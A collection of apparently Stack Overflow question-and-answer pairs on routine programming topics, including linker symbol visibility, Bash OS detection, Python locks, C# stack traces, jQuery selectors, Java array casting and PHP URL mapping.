<p>I can do this for shared libraries using the techniques in Ulrich Drepper's <a href="http://people.redhat.com/drepper/dsohowto.pdf">How to Write Shared Libraries</a>, but I can't apply these techniques to static archives. In his earlier <a href="http://people.redhat.com/drepper/goodpractice.pdf">Good Practices in Library Design</a> paper, he writes:</p>
<blockquote>
<p>The only possibility is to combine all object files which need
certain internal resources into one using 'ld -r' and then restrict the symbols
which are exported by this combined object file. The GNU linker has options to
do just this.</p>
</blockquote>
<p>Could anyone help me discover what these options might be? I've had some success with 'strip -w -K prefix_*', but this feels brutish. Ideally, I'd like a solution that will work with both GCC 3 and 4.</p>
<p>Thanks!</p>
| <p>Static libraries can not do what you want for code compiled with either GCC 3.x or 4.x. </p>
<p>If you can use shared objects (libraries), the GNU linker does what you need with a feature called a version script. This is usually used to provide version-specific entry points, but the degenerate case just distinguishes between public and private symbols without any versioning. A version script is specified with the --version-script= command line option to ld.</p>
<p>The contents of a version script that makes the entry points foo and bar public and hides all other interfaces:</p>
<pre><code>{ global: foo; bar; local: *; };
</code></pre>
<p>See the ld doc at: <a href="http://sourceware.org/binutils/docs/ld/VERSION.html#VERSION" rel="nofollow">http://sourceware.org/binutils/docs/ld/VERSION.html#VERSION</a></p>
<p>I'm a big advocate of shared libraries, and this ability to limit the visibility of globals is one their great virtues.</p>
<p>A document that provides more of the advantages of shared objects, but written for Solaris (by Greg Nakhimovsky of happy memory), is at <a href="http://developers.sun.com/solaris/articles/linker_mapfiles.html" rel="nofollow">http://developers.sun.com/solaris/articles/linker_mapfiles.html</a></p>
<p>I hope this helps.</p>
|
How accurate is System.Diagnostics.Stopwatch? <p>How accurate is <strong>System.Diagnostics.Stopwatch</strong>? I am trying to do some metrics for different code paths and I need it to be exact. Should I be using stopwatch or is there another solution that is more accurate.</p>
<p>I have been told that sometimes stopwatch gives incorrect information.</p>
| <p>I've just written an article that explains how a test setup must be done to get an high accuracy (better than 0.1ms) out of the stopwatch. I Think it should explain everything.</p>
<p><a href="http://www.codeproject.com/KB/testing/stopwatch-measure-precise.aspx">http://www.codeproject.com/KB/testing/stopwatch-measure-precise.aspx</a></p>
|
Detect the OS from a Bash script <p>I would like to keep my <code>.bashrc</code> and <code>.bash_login</code> files in version control so that I can use them between all the computers I use. The problem is I have some OS specific aliases so I was looking for a way to determine if the script is running on Mac OS X, Linux or <a href="http://en.wikipedia.org/wiki/Cygwin">Cygwin</a>.</p>
<p>What is the proper way to detect the operating system in a <a href="http://en.wikipedia.org/wiki/Bash_%28Unix_shell%29">Bash</a> script?</p>
| <p>For my .bashrc, I use the following code:</p>
<pre><code>platform='unknown'
unamestr=`uname`
if [[ "$unamestr" == 'Linux' ]]; then
platform='linux'
elif [[ "$unamestr" == 'FreeBSD' ]]; then
platform='freebsd'
fi
</code></pre>
<p>Then I do somethings like:</p>
<pre><code>if [[ $platform == 'linux' ]]; then
alias ls='ls --color=auto'
elif [[ $platform == 'freebsd' ]]; then
alias ls='ls -G'
fi
</code></pre>
<p>It's ugly, but it works. You may use <code>case</code> instead of <code>if</code> if you prefer.</p>
|
Description of what an Interface does? <h2>Duplicate: <a href="http://stackoverflow.com/questions/122883/interfaces-why-cant-i-seem-to-grasp-them">http://stackoverflow.com/questions/122883/interfaces-why-cant-i-seem-to-grasp-them</a></h2>
<p>With regards to OOP,how would you describe an interface?</p>
<p>What i mean is , sub-classing can be described as "Has-A" and Inheritance could be "Is-A".
A member method could be "Can-Do" ..</p>
<p>Is there any way this could be extended (no pun intended) to describe what an Interface does?</p>
<p>Thanks</p>
| <p>I think of objects as <strong>nouns</strong>, methods as <strong>verbs</strong>, and interfaces as <strong>adjectives</strong> (of course this analogy is oversimplified, but frequently works well enough).</p>
<p>Example: an interface <code>Serializable</code> works like an adjective, in that it applies some qualities to an object that implement that interface, but does not change what that object is. We can say, "this is a serializable object." But we don't say, "this object <em>is a</em> serializable," nor do we say, "this object <em>has a</em> serializable."</p>
<p>I also like Federico's <a href="http://stackoverflow.com/questions/394260/description-of-what-an-interface-does#394275">answer</a> that an interface is "CAN-DO".</p>
<p>An interface is a group of related operations that the class supports. Together, the methods in an interface describe what the class can do.</p>
<p>Just like a noun can take multiple adjectives, a class can implement multiple interfaces, as long as they don't conflict. The union of all the interfaces a class implements is the sum of what the class can do.</p>
<p>In practical terms, an interface is a set of method signatures, without the code implementing those methods. Just the method name and arguments. Depending on the language, a method signature may also include return type, and exceptions thrown.</p>
<p>An interface consists of methods, but not data members.</p>
<p>BTW, I wouldn't say sub-classing is HAS-A. My understanding is that sub-classing is the same as inheritance, so these are both IS-A. Whereas HAS-A is called Aggregation or Composition.</p>
<ul>
<li><p><strong>Composition</strong> is where an object owns another object. Destroying the outer object also destroys the inner objects. Example: University composes Departments. Close the University, and the Departments disappear.</p></li>
<li><p><strong>Aggregation</strong> is where an object includes another object, but does not own it. Destroying the outer object does not destroy the inner objects. Example: University employs Professors, but closing the University does not kill the Professors.</p></li>
</ul>
|
python introspection not showing functions for Lock <p>When I try to use introspection to look at what methods are available on threading.Lock I don't see what I would expect.</p>
<p>Specifically I don't see acquire, release or locked. Why is this?</p>
<p>Here's what I do see:</p>
<pre><code>>>> dir (threading.Lock)
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__getattribute__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__str__']
</code></pre>
| <p>You're doing it wrong. <code>threading.Lock</code> is not an object.</p>
<pre><code>>>> import threading
>>> threading.Lock
<built-in function allocate_lock>
>>> type(threading.Lock)
<type 'builtin_function_or_method'>
>>> x=threading.Lock()
>>> type(x)
<type 'thread.lock'>
>>> dir(x)
['__enter__', '__exit__', 'acquire', 'acquire_lock', 'locked', 'locked_lock', 'release', 'release_lock']
>>>
</code></pre>
|
Comb Technology <p>This question is about the rare case of software that is neither in active development nor moribund.</p>
<p>First, why is it so rare for software to ever be finished? It seems "no longer in active development" is often synonymous with "moribund". Second, what are exceptions to this? Donald Knuth's TeX is a famous example. It's been untouched for years yet remains massively popular. Knuth even has a cash bug bounty, which is never claimed anymore. There are probably various unix utilities like this, used ubiquitously yet with the source code in stasis. I'd like to collect some interesting examples and commentary on why this is rare.</p>
<p>Come to think of it, software is not unique in this regard. I'm reminded of this gem from The Onion:</p>
<p><a href="http://www.theonion.com/content/node/29571" rel="nofollow">http://www.theonion.com/content/node/29571</a></p>
<p>In fact, I propose a new term for software like TeX that is ubiquitous yet no longer under active development because it's bug free and just works: "Comb Technology". </p>
<p><b>What are interesting examples of Comb Technology in software?</b></p>
<p> </p>
<p><img src="http://yootles.com/outbox/so/comb.jpeg"></p>
| <blockquote>
<p>why is it so rare for software to ever be finished?</p>
</blockquote>
<p>Because, as the world always changes, requirement specifications always change.</p>
<blockquote>
<p>Second, what are exceptions to this?</p>
</blockquote>
<p>There are exceptions because there are indeed a few problems that are so circumscribed and well defined that their specifications are unlikely to change anymore.</p>
<p>I guess another example are the <a href="http://en.wikipedia.org/wiki/Basic_Linear_Algebra_Subprograms" rel="nofollow">BLAS</a> subroutines for linear algebra. I don't think they have been "untouched for years", but surely they are well-established and unlikely to undergo substantial changes.</p>
|
Extraordinarily Simple Ruby Question: Where's My Class? <p><em>[I'm just starting with Ruby, but "no question is ever too newbie," so I trudge onwards...]</em></p>
<p>Every tutorial and book I see goes from Ruby with the interactive shell to Ruby on Rails. I'm not doing Rails (yet), but I don't want to use the interactive shell. I have a class file (first_class.rb) and a Main (main.rb). If I run the main.rb, I of course get the <code>uninitialized constant FirstClass</code>. <strong>How do I tell ruby about the <code>first_class.rb</code>?</strong></p>
| <p>The easiest way is to put them both in the same file. </p>
<p>However you can also use require, e.g.:</p>
<pre><code>require 'first_class'
</code></pre>
|
Is it worth learning AMD-specific APIs? <p>I'm currently learning the APIs related to Intel's parallelization libraries such as TBB, MKL and IPP. I was wondering, though, whether it's also worth looking at AMD's part of the puzzle. Or would that just be a waste of time? (I must confess, I have no clue about AMD's library support - at all - so would appreciate any advice you might have.)</p>
<p>Just to clarify, the reason I'm going the Intel way is because 1) the APIs are very nice; and 2) Intel seems to be taking tool support as seriously as API support. (Once again, I have <strong>no clue</strong> how AMD is doing in this department.)</p>
| <p>The MKL and IPP libraries will perform (nearly) as well on AMD machines. My guess is that TBB will also run just fine on AMD boxes. If I had to suggest a technology that would be beneficial and useful to both, it would be to master the OpenMP libraries. The Intel compiler with the OpenMP extensions is stunningly fast and works with AMD chips also.</p>
|
Which Factor GUI tutorial/example app? <p>Is there a non-trivial example application written in Factor language, pregerrably for GUI application which could server as a language tutorial?</p>
| <p>A little late, but theres Factor bindings for Qt in the works. They should be in a usable state reasonably soon.</p>
|
Strange nullreference exception <p>So I have this code that takes care of command acknowledgment from remote computers, sometimes (like once in 14 days or something) the following line throws a null reference exception:</p>
<pre><code>computer.ProcessCommandAcknowledgment( commandType );
</code></pre>
<p>What really bugs me is that I check for a null reference before it, so I have <strong>no</strong> idea whats going on.
Here's the full method for what its worth: </p>
<pre><code> public static void __CommandAck( PacketReader reader, SocketContext context )
{
string commandAck = reader.ReadString();
Type commandType = Type.GetType( commandAck );
Computer computer = context.Client as Computer;
if (computer == null)
{
Console.WriteLine("Client already disposed. Couldn't complete operation");
}
else
{
computer.ProcessCommandAcknowledgment( commandType );
}
}
</code></pre>
<p>Any clues?</p>
<p>Edit: ProcessCommandAcknowledgment:</p>
<pre><code> public void ProcessCommandAcknowledgment( Type ackType )
{
if( m_CurrentCommand.GetType() == ackType )
{
m_CurrentCommand.Finish();
}
}
</code></pre>
| <p>Based on the information you gave, it certainly appears impossible for a null ref to occur at that location. So the next question is "How do you know that the particular line is creating the NullReferenceException?" Are you using the debugger or stack trace information? Are you checking a retail or debug version of the code?</p>
<p>If it's the debugger, various setting combinations which can essentially cause the debugger to <strong>appear</strong> to report the NullRef in a different place. The main on that would do that is the Just My Code setting. </p>
<p>In my experience, I've found the most reliable way to determine the line an exception actually occurs on is to ...</p>
<ol>
<li>Turn off JMC</li>
<li>Compile with Debug</li>
<li>Debugger -> Settings -> Break on Throw CLR exceptions.</li>
<li>Check the StackTrace property in the debugger window</li>
</ol>
|
How to animate a change in css using jQuery <p>Is it possible to animate a change in css using jquery? </p>
<p>If someone would be so kind as to provide me with an example i would be much obliged.</p>
<p>Essentially, i am trying to animate the sprites technique by manipulating the background-image in the css using jQuery. The goal is to animate the hover so that I get a nice fade instead of just the abrupt switch produced by the code below.</p>
<p>Here is where I'm at: </p>
<p>HTML: </p>
<pre><code><h1 id="solomon">Solomon</h1>
</code></pre>
<p>CSS: </p>
<pre><code>body#default h1 {
text-indent: -9999px;
display: inline-block;
height: 213px;
}
body#default h1#solomon {
background: transparent url(/images/S.gif) center top no-repeat;
width: 183px;
margin: 100px 0 0 216px;
}
</code></pre>
<p>JQUERY: </p>
<pre><code>$(function() {
$('h1').hover(function() {
$(this).stop().css('background-position', 'center bottom');
}, function() {
$(this).stop().css('background-position', 'center top');
});
});
</code></pre>
<p>Right now the it works fine, but there is no pretty animation on hover. I want to know how to animate the effect of switching the background-image placement.</p>
<p>Thanks to whomever takes a shot at this. :) </p>
<hr>
<p>i'm hoping someone can answer my question without pointing me to a tutorial? my issue with the tutorials is that they all force me to change my html which i am pretty locked into at this point. </p>
<p>also, why doesn't the animate function work in my above example (@CMS)? </p>
<p>thanks for your help everyone! :)</p>
| <p>To create a fade effect you need to absolutely position one element on top of the other, and animate the element's opacity down to reveal the image beneath.</p>
<p>Since you can't change the HTML, I suggest you change the markup using JavaScript by dynamically inserting a span that will reveal the new image for your H1 tag.</p>
<p>I've put together a working example on jsbin.com that uses your markup (i.e. just the H1 tag). I've used the image from the jqueryfordesigners.com tutorial (since it's mine) so that you can get an idea of the CSS changes you need.</p>
<p>Specifically you need to style a nested SPAN in the H1 to be absolutely positioned within the H1 to allow it fade in:</p>
<p><a href="http://jsbin.com/adike/" rel="nofollow">http://jsbin.com/adike/</a> (to edit: <a href="http://jsbin.com/adike/edit/" rel="nofollow">http://jsbin.com/adike/edit/</a> )</p>
|
jquery select class inside parent div <p>I'm trying to change the alt of the image i'm clicking by
selecting the image's class 'add_answer'</p>
<p>Note: .add_answer shows up multiple times inside different containing div's</p>
<pre><code>jQuery(function(){ // Add Answer
jQuery(".add_answer").click(function(){
var count = $(this).attr("alt");
count++;
$('.a_type_'+count+'').show();
$(this).parents("div:first").$('.add_answer').attr("alt", count);
});
});
</code></pre>
<p>This line doesn't seem to be working, how do i select this add_answer class
by way of it's parent div</p>
<pre>
$(this).parents("div:first").$('.add_answer').attr("alt", count);
</pre>
<p>Anyone else have an idea?</p>
<p>I'm trying having trouble decreasing the alt value on the .add_answer image when .destroy_answer is clicked</p>
<pre>
jQuery(function(){ // Hide Answer
jQuery(".destroy_answer").click(function(){
$(this).parents("div:first").hide();
var count = $('.add_answer').attr("alt");
count--;
$('.add_answer',$(this).parent('div:first')).attr('alt',count);
});
});
</pre>
<p>Problem line:</p>
<pre>
$('.add_answer',$(this).parent('div:first')).attr('alt',count);
</pre>
| <p>you can use the parent div as the scope:</p>
<pre><code> $('.add_answer',$(this).parent('div:first')).attr('alt',count);
</code></pre>
|
Is there a simple way in Python to create a file which can be written to in one thread and read in a different one? <p>In the python program I'm writing, I've got a thread which iterates over a large structure in memory and writes it incrementally into a file-like object. I've got another thread which takes a file-like object and writes it to disk. Is there an easy way to connect the two, such that any data input from the first thread will be buffered for the second?</p>
<p>Specifically, I'm trying to pass data to subprocess.Popen(). The process will read from stdin, but you cannot pass a "file-like" object to Popen because it calls stdin.fileno() and blows up unless you have a real file.</p>
<p>Instead, you need to pass the PIPE argument to Popen, which allows you to use proc.stdin as a file-like object. But if you've already got a file-like object, there doesn't seem to be a great way to yolk the two of them together.</p>
| <p>You should use the <a href="http://docs.python.org/library/queue.html" rel="nofollow">Queue</a> module for sharing sequential data across threads. You would have to make a file-like Queue subclass, where .read and .write mutually block each other, with a buffer in-between.</p>
<p>OTOH, I wonder why the first thread can't write to the real file in the first place.</p>
|
Seems like it should be easy: Landscape Scrolling Text Field <p>I have a application that I am working on that is in landscape mode and does not rotate. However I can not get the text field to rotate. I have been putting in way to many hours so don't be to harsh if this is a easy answer...</p>
| <p>Are you using Interface Builder to create the view? In that case, adding the UITextField to the UIView in landscape mode. In case you do not know how to use IB for creating views in landscape mode, open the UIView object in IB. There is a small arrow on the top-right corner of the view. Click on that arrow to rotate the view to landscape mode.</p>
|
which tool to use to view memory layout of multiple inheritance <p>Is there a tool that I can use to see the multiple inheritance memory layout of compiled C++ code?</p>
| <p>I don't know what exactly you want to know. For this simple example</p>
<pre><code>class classA { };
class classB { };
class classC : public classA, public classB {
};
$ g++ -fdump-class-hierarchy test.cpp
</code></pre>
<p>Outputs the following into a file <code>test.cpp.002t.class</code></p>
<pre><code>Class classA
size=1 align=1
base size=0 base align=1
classA (0xb7b06780) 0 empty
Class classB
size=1 align=1
base size=0 base align=1
classB (0xb7b067bc) 0 empty
Class classC
size=1 align=1
base size=1 base align=1
classC (0xb7a736e0) 0 empty
classA (0xb7b067f8) 0 empty
classB (0xb7b06834) 0 empty
</code></pre>
<p>See the gcc manpage for details. Changing classA to this:</p>
<pre><code>class classA { int aObj; virtual void aFun() { } };
</code></pre>
<p>Suddenly pops up a virtual table:</p>
<pre><code>Vtable for classA
classA::_ZTV6classA: 3u entries
0 (int (*)(...))0
4 (int (*)(...))(& _ZTI6classA)
8 classA::aFun
Class classA
size=8 align=4
base size=8 base align=4
classA (0xb7b4d7f8) 0
vptr=((& classA::_ZTV6classA) + 8u)
Class classB
size=1 align=1
base size=0 base align=1
classB (0xb7b4d9d8) 0 empty
Vtable for classC
classC::_ZTV6classC: 3u entries
0 (int (*)(...))0
4 (int (*)(...))(& _ZTI6classC)
8 classA::aFun
Class classC
size=8 align=4
base size=8 base align=4
classC (0xb7aba820) 0
vptr=((& classC::_ZTV6classC) + 8u)
classA (0xb7b4da14) 0
primary-for classC (0xb7aba820)
classB (0xb7b4da50) 0 empty
</code></pre>
<p>What looks so strange (_ZTI6classA and _ZTI6classC and _ZTV6classC) is actually a pointer to the RTTI information gcc created for the classes. Using <code>-fno-rtti</code> shows that it will assign a null pointer to the second entries of the vtables then. Nice, have fun digging in those information.</p>
|
Override a method at instance level <p>Is there a way in Python to override a class method at instance level?
For example:</p>
<pre><code>class Dog:
def bark(self):
print "WOOF"
boby = Dog()
boby.bark() # WOOF
# METHOD OVERRIDE
boby.bark() # WoOoOoF!!
</code></pre>
| <p>Yes, it's possible:</p>
<pre><code>class Dog:
def bark(self):
print "Woof"
def new_bark(self):
print "Woof Woof"
foo = Dog()
funcType = type(Dog.bark)
# "Woof"
foo.bark()
# replace bark with new_bark for this object only
foo.bark = funcType(new_bark, foo, Dog)
foo.bark()
# "Woof Woof"
</code></pre>
|
How I can get the calling methods in C# <blockquote>
<p><strong>Possible Duplicate:</strong><br>
<a href="http://stackoverflow.com/questions/171970/how-can-i-find-the-method-that-called-the-current-method">How can I find the method that called the current method?</a></p>
</blockquote>
<p>I need a way to know the name of calling methods in C#.</p>
<p>For instance: </p>
<pre><code>private void doSomething()
{
// I need to know who is calling me? (method1 or method2).
// do something pursuant to who is calling you?
}
private void method1()
{
doSomething();
}
private void method2()
{
doSomething();
}
</code></pre>
| <p>from <a href="http://www.csharp-examples.net/reflection-calling-method-name/">http://www.csharp-examples.net/reflection-calling-method-name/</a></p>
<pre><code>using System.Diagnostics;
// get call stack
StackTrace stackTrace = new StackTrace();
// get calling method name
Console.WriteLine(stackTrace.GetFrame(1).GetMethod().Name);
</code></pre>
|
How to write an automated test for thread safety <p>I have a class which is not thread safe:</p>
<pre><code>class Foo {
/* Abstract base class, code which is not thread safe */
};
</code></pre>
<p>Moreover, if you have foo1 and foo2 objects, you cannot call foo1->someFunc() until foo2->anotherFunc() has returned (this can happen with two threads). This is the situation and it can't be changed (a Foo subclass is actually a wrapper for a python script).</p>
<p>In order to prevent unwanted calls I've created the following -</p>
<pre><code>class FooWrapper {
public:
FooWrapper(Foo* foo, FooWrappersMutex* mutex);
/* Wrapped functions from Foo */
};
</code></pre>
<p>Internally, FooWrapper wraps calls to the Foo functions with the shared mutex.</p>
<p>I want to test FooWrapper for thread safety. My biggest problem is the fact that threads are managed by the operating system, which means I've got less control on their execution. What I would like to test is the following scenario:</p>
<ul>
<li>Thread 1 calls fooWrapper1->someFunc() and blocks while inside the function</li>
<li>Thread 2 calls fooWrapper2->anotherFunc() and returns immediately (since someFunc() is still executing)</li>
<li>Thread 1 finishes the execution</li>
</ul>
<p>What is the simplest to test a scenario like this automatically?</p>
<p>I'm using QT on Win32, although I would prefer a solution which is at least cross-platform as QT is.</p>
| <p>You might want to check out <a href="http://Research.Microsoft.Com/CHESS/"><em>CHESS: A Systematic Testing Tool for Concurrent Software</em></a> by Microsoft Research. It is a testing framework for multithreaded programs (both .NET and native code).</p>
<p>If I understood that correctly, it replaces the operating system's threading libraries with its own, so that it can control thread switching. Then it analyzes the program to figure out every possible way that the execution streams of the threads can interleave and it re-runs the test suite for every possible interleaving.</p>
|
Flex: How does the compiler know about dependencies? <p>I'm completely new to Flex and am just having a play with a sample application from the Mate framework. I'm hacking on Linux so I'm using the command prompt and a text editor rather than Flex Builder.</p>
<p>The sample app has two folders in its root directory lib & src. Lib contains a dependency. How can I compile the mxml file in src, so that the compiler knows about the dependency in lib?</p>
<p>At the moment I'm running $ mxmlc sampleApp/src/sampleApp.mxml</p>
<p>The compiler throws an exception saying that is couldn't resolve to a component implementation. I know this component is part of the dependency in the lib folder. So it is obviously not being picked up automatically.</p>
<p>Any help would be appreciated.</p>
<p>Regards,</p>
<p>Chris</p>
| <p>You have to specify the path to the libraries, this can be done by either using a command line argument or putting it in a configuration file. See:</p>
<p><a href="http://livedocs.adobe.com/flex/3/html/compilers_19.html#158337" rel="nofollow">http://livedocs.adobe.com/flex/3/html/compilers_19.html#158337</a></p>
|
Quick Java question: Casting an array of Objects into an array of my intended class <p>Just for review, can someone quickly explain what prevents this from working (on compile):</p>
<pre><code>private HashSet Data;
...
public DataObject[] getDataObjects( )
{
return (DataObject[]) Data.toArray();
}
</code></pre>
<p>...and what makes this the way that DOES work:</p>
<pre><code>public DataObject[] getDataObjects( )
{
return (DataObject[]) Data.toArray( new DataObject[ Data.size() ] );
}
</code></pre>
<p>I'm not clear on the mechanism at work with casting (or whatever it is) that makes this so.</p>
| <p>Because <code>toArray()</code> creates an array of Object, and you can't make <code>Object[]</code> into <code>DataObject[]</code> just by casting it. <code>toArray(DataObject[])</code> creates an array of <code>DataObject</code>.</p>
<p>And yes, it is a shortcoming of the Collections class and the way Generics were shoehorned into Java. You'd expect that <code>Collection<E>.toArray()</code> could return an array of E, but it doesn't.</p>
<p>Interesting thing about the <code>toArray(DataObject[])</code> call: you don't have to make the "a" array big enough, so you can call it with <code>toArray(new DataObject[0])</code> if you like.</p>
<p>Calling it like <code>toArray(new DateObject[0])</code> is actually better if you use <code>.length</code> later to get the array length. if the initial length was large and the same array object you passed was returned then you may face <code>NullPointerException</code>s later</p>
<p>I asked a question earlier about Java generics, and was pointed to this FAQ that was very helpful: <a href="http://www.angelikalanger.com/GenericsFAQ/JavaGenericsFAQ.html">http://www.angelikalanger.com/GenericsFAQ/JavaGenericsFAQ.html</a></p>
|
Extern keyword and unresolved external symbols <p>I drew a little graph in paint that explains my problem:</p>
<p>But it doesn't seem to show up when I use the <code><img></code> tag after posting?</p>
<p>Graph:</p>
<p><img src="http://i44.tinypic.com/103gcbk.jpg" alt="http://i44.tinypic.com/103gcbk.jpg"></p>
| <p>The problem is the scope of the declaration of db. The code:</p>
<pre><code>extern Database db;
</code></pre>
<p>really means "db is declared <em>globally somewhere</em>, just not here". The code then does not go ahead and actually declare it globally, but locally inside main(), which is not visible outside of main(). The code should look like this, in order to solve your linkage problem:</p>
<h2>file1.c</h2>
<pre><code>Database db;
int main ()
{
...
}
</code></pre>
<h2>file2.c</h2>
<pre><code>extern Database db;
void some_function ()
{
...
}
</code></pre>
|
Configure Emacs FlyMake to use Rakefile as well as Makefile <p>I have been learning to use Emacs for a little while now. So far liking it a lot.</p>
<p>My problem is that for little C codes I prefer using Rake instead of Make. However flymake does not seem to want anything else than Make. As it complains that it can not find Makefile. From the command line Rake is used in the same way as Make so I was wondering if there was some emacs configuration I could enter to allow Rake to be used by flymake?</p>
<p>To correct a bit what I am doing. I'm not actually editing a Rakefile. And flymake-ruby does not help at all. I'm working with C code. I just use RAKE to compile the c code using gcc instead of MAKE.</p>
| <p>Right, got it now; sorry about the earlier confusion.</p>
<p>Taking a quick look through flymake.el, for *.c files, the 'make' invocation ultimately comes from here:</p>
<pre><code>(defun flymake-get-make-cmdline (source base-dir)
(list "make"
(list "-s"
"-C"
base-dir
(concat "CHK_SOURCES=" source)
"SYNTAX_CHECK_MODE=1"
"check-syntax")))
</code></pre>
<p>That gets called by <code>flymake-simple-make-init</code>, which is called because that's what <code>*.c</code> files are mapped to by <code>flymake-allowed-file-name-masks</code>.</p>
<p>So, the <em>right</em> answer would be to modify <code>flymake-allowed-file-name-masks</code> to map <code>*.c</code> files to a different init defun, then write that defun to call rake the way you want. There are a bunch of those defuns already written for various things, and most of them are pretty short and sweet -- so even if you don't know Emacs Lisp, you could probably get something to work with a minimum of futzing. (The <em>really really right</em> answer would be to change <code>flymake-simple-make-init</code> so that the command name was read from a defcustom variable, then submit that change back upstream...)</p>
<p>The quick-and-dirty answer, given that you said all you need to do is call 'rake' with the same args as 'make', would be to grab a copy of flymake.el, stick it early in your <code>load-path</code>, and munge the 'make' string in <code>flymake-get-make-cmdline</code> to read 'rake' instead. That'll at least get you to the next step...</p>
|
jQuery UI Datepicker and datejs <p>I want to have a datepicker where you can also just type basically I want to have the jQuery UI Datepicker and datejs in one. I want to type "tomorrow" and I want it to select the right day. I want to be able to type "saturday" and it actually getting the date right.</p>
| <p>If you have any experience creating jQuery plugins, the work is not too difficult. Wrap the target input with the code required to create the UI datepicker AND value testing (with date.js) on keyup/blur/whichever events you deem necessary. You'll need to ensure that you set the date on the datepicker instance when the value changes (call datepicker("setDate", date))</p>
<p>I've done something very similar at work; If you are interested in the code, I should be able to make it available (in its current format - lacks a bit of polish but it's clear enough).</p>
|
Extend System.Windows.Forms.ComboBox <p>I would like to extend the System.Windows.Forms.ComboBox control with a ReadOnly property, which would display the selected itemâs text (similar to a label) when ReadOnly = true. (I do not like the disabled look achieved by setting Enabled=false)</p>
<p>How do I do this in winforms? It was really simple in ASP.NET where all I had to do was override the Render method. It doesnât seem so straightforward with winforms however.</p>
<p>From what I gather I need to </p>
<p>a) Override the OnPaint method </p>
<p>b) Call this.SetStyle(ControlStyles.UserPaint, true) so that OnPaint is called.</p>
<p>But now it seems like I have to do ALL the painting myself. Is that true? Is it not possible to let the base ComboBox deal with painting the control when ReadOnly = false? Also, what ControlStyles should I be using?</p>
| <p>Do what windows does.<br>
Have just 1 item in the combobox and let it be selected and enabled.</p>
|
Can I use a ForeignKey in __unicode__ return? <p>I have the following classes: Ingredients, Recipe and RecipeContent...</p>
<pre><code>class Ingredient(models.Model):
name = models.CharField(max_length=30, primary_key=True)
qty_on_stock = models.IntegerField()
def __unicode__(self):
return self.name
class Recipe(models.Model):
name = models.CharField(max_length=30, primary_key=True)
comments = models.TextField(blank=True)
ingredient = models.ManyToManyField(Ingredient)
def __unicode__(self):
return self.name
class RecipeContent(models.Model):
recipe = models.ForeignKey(Recipe)
ingredients = models.ForeignKey(Ingredient)
qty_used = models.IntegerField()
</code></pre>
<p>but for __unicode__() in RecipeContent I would like to use the Recipe name to which this RecipeContent belongs to... is there a way to do it?</p>
| <pre><code>class RecipeContent(models.Model):
...
def __unicode__(self):
# You can access ForeignKey properties through the field name!
return self.recipe.name
</code></pre>
|
Preventing a second instance from running except in a specific case <p>Okay, I have this program and I don't want more than one instance of it running. So what I have right now is it grabs all instances that match it's name, and if there are more than one it quits and lets the user know it's already running in another instance.</p>
<p>However, there is a special case in which the new instance will want change what the other instance is doing, then it will exit. How can I do this?</p>
<p>Here's an example:
I have this program that times an event. I don't want more than one running at the same time because you can't be doing two things at once (for this application). Now say a third party program wants to notify this thread that the user is now working on something else, so it launches the application again. If the application is already running, it will update it's actions, else it will act as normal.</p>
<p>How can this be done?</p>
<p>This is what I use to tell if there is another instance running:</p>
<pre><code> string proc = Process.GetCurrentProcess().ProcessName;
Process[] processess = Process.GetProcessesByName(proc);
if (processess.Length > 1) {
MessageBox.Show("There is an instance of the Timer already running");
return;
}
</code></pre>
| <p>The thing that complicates this is the fact that you want, in certain conditions, to allow a second invocation of the program to do something if another one is running. Using the named mutex will allow you to detect whether the program is already running -- it should be holding the mutex already. You will still need a way to communicate with it to tell the running program to do something when the second one runs. An asynchronous message queue would probably work, you'd just need to have the running program check it periodically to see if there are any new messages waiting. The message would need to tell the program how to change. Look at the <a href="http://msdn.microsoft.com/en-us/library/system.threading.aspx" rel="nofollow">System.Threading</a> namespace (since it looks like you're using .Net already), in particular the mutex and semaphore classes, and <a href="http://msdn.microsoft.com/en-us/library/system.messaging.messagequeue.aspx" rel="nofollow">System.Messaging.MessageQueue</a> for message exchange.</p>
<p>The basic idea is:</p>
<pre><code> program start
try to acquire mutex (or semaphore)
if failed
send message via message queue to running program
exit
else
set up listener for message queue
run rest of program
</code></pre>
<p>The listener could take the form of a timer that expires periodically with the expiration callback checking for messages in the queue and updating the program actions accordingly. The timer would need to autoreset so that it would go back to listening. Your program will need the ability to recover from being interrupted by the timer and "restart" based on the updated configuration.</p>
|
What are the steps I need to take to add nice java code formatting to my blogger/blogspot blog? <p>I'm looking for a sequence of steps to add java code formatting to my blogspot blog. </p>
<p>I'm really looking for a dummies guide - something so simple a cleaner could follow it if they found it on a piece of paper on the floor. </p>
| <p>I use <a href="http://code.google.com/p/google-code-prettify/">Google prettify</a> script (StackOverflow uses it also), here you can find a good guide for using it with blogger:</p>
<ul>
<li><a href="http://sunday-lab.blogspot.com/2007/10/source-code-high-light-in-blogger.html">Source code high-light in Blogger</a> </li>
</ul>
<p>You have other alternatives like <a href="http://code.google.com/p/syntaxhighlighter/">SyntaxHighlighter</a>, <a href="http://urenjoy.blogspot.com/2008/10/publish-source-code-in-blogger.html">here</a> also you can find a guide to use it with blogger (or any other blogging software)</p>
|
URL mapping in PHP? <p>I come from a Java background and with any servlets-based technology, it's trivial to map a range of URLs (eg /reports/<em>, /secure/</em>.do) to a specified servlet. Now I'm less familiar with PHP but I haven't yet seen anything that does quite the same thing with PHP (or mod_php). It's entirely possible that I'm missing something simple.</p>
<p>How do you do this in PHP?</p>
<p>One of the reasons I want to do this is "one use" URLs. Now this can sorta be done with GET parameters (like an MD5 hash token) but I'm interested in URL mapping as a general solution to many problems.</p>
<p>Another big reason to use something like this is to have RESTful URLs.</p>
| <p>With Apache, you are able to setup URL Rewriting for your php pages with mod_rewrite, check this resources:</p>
<ul>
<li><a href="http://www.sitepoint.com/article/guide-url-rewriting/">mod_rewrite: A Beginner's Guide to URL Rewriting</a></li>
<li><a href="http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html">Module mod_rewrite</a></li>
<li><a href="http://httpd.apache.org/docs/2.0/misc/rewriteguide.html">URL Rewriting Guide</a></li>
</ul>
|
Count occurrences of a word in a row in MySQL <p>I'm making a search function for my website, which finds relevant results from a database. I'm looking for a way to count occurrences of a word, but I need to ensure that there are word boundaries on both sides of the word ( so I don't end up with "triple" when I want "rip").</p>
<p>Does anyone have any ideas?</p>
<p><hr /></p>
<p>People have misunderstood my question:</p>
<p>How can I count the number of such occurences <strong><em>within a single row?</em></strong></p>
